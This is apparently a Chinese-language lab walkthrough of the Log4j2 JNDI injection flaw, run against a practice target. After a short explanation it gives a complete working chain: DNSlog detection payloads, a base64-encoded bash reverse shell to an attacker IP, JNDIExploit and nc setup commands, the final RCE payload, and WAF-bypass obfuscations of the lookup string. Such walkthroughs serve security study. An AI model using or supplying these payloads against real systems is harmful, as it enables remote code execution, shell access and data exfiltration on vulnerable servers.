Log4j2背景
Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,攻击者利用该漏洞,可向目标服务器发送构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
漏洞原理
正如上面所说,Log4j是一个日志组件,它可以用简单的表达式来记录,Log4j2 漏洞的核心在于它支持 JNDI
logger.info("system propety: ${jndi:schema://url}");
具体原理如下:
- 当受害者的应用程序记录包含恶意 JNDI 查找字符串(例如:
String ssinput = "${jndi:ldap://xxx.com/a}";
)的日志事件时,Log4j2 会解析这个字符串 - Log4j2 会连接到指定的 LDAP 服务器(在这个例子中是
xxx.com
),并获取其中的恶意代码。 - 当恶意代码被加载后,攻击者可以在受害者的服务器上执行任意代码。
在这个例子中,当ssinput
被记录时,它会触发 Log4j2 嵌入的 JNDI 查找机制,如果这段代码在外部可控,攻击者可以发送 ssinput
,服务器看到a
这个类自动生成恶意的类,通过我们开启HTTP端口下发,java服务器接收到这个恶意的.class类,就会将它加载到内存中执行,从而RCE。
这里最重要的就是我们常用的JNDI,具体可以看看JNDI注入原理及利用考究 - 先知社区 (aliyun.com)
复现
环境是我之前打的一个内网靶场里面的外网部分
探测
先打一手DNSlog,访问hello,改为POST传参,payload是payload=${jndi:ldap://50362870.dnslog.biz}
,这里要注意,如果是burp抓数据包改GET为post,这样是不会成功的,数据包里面缺少一些必要参数,建议使用hackbar,正常情况发完数据包不会立马返回ok。
dnslog发现有回显
(这里我们也能用占位符来回显一些有用的信息比如java版本,将${sys:java.version}
加在dnslog前面即可)
${jndi:ldap://${sys:java.version}50362870.dnslog.biz}
利用
1.工具准备
这里我们要用到JNDIExploit来搭建ldap服务,首先先下载下来,再下载maven,配置好maven,然后到 JNDIExploit目录下敲命令
mvn clean package
构建成jar文件再使用,注意生成的jar文件在target目录下
2.shell生成
准备一个反弹shellbash -i >& /dev/tcp/192.168.187.42/8767 0>&1
端口是接受反弹shell的端口
base64编码一下
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4Ny40Mi84NzY3IDA+JjE=
加号这里要换成%252b,不然执行的时候有空格
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE4Ny40Mi84NzY3IDA%252bJjE=
3.开启ldap服务java -jar JNDIExploit-1.0-SNAPSHOT.jar -i 192.168.187.42
ip是kali(攻击机)的ip
4.开启nc接收shell nc -lvp 8767
5.post传payload
payload=${jndi:ldap://192.168.187.42:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE4Ny40Mi84NzY3IDA%252bJjE=}
6.成功反弹shell
ldap服务页面
nc的页面
到这里复先结束
绕过
上面讲了,log4j2最重要的就是能够调用JNDI,因此常见的WAF,一般会检测JDNI的关键字,以及ldap、rmi、dns等关键字,这里提供几个方法区绕过
使用分割符截断
${${::-J}ndi:ldap://127.0.0.1:1389/Calc}
大小写
${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}
${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}
编码绕过
${%24%7B%24%3A%3A-J%7Dndi:ldap://127.0.0.1:1389/Calc}
字符串混淆
无回显排查
1、调用内容无回显,排查对应机器是否有异常行为、流量和进程,是否有新增用户
2、DNSlog外带,查看机器后续外联数据包的记录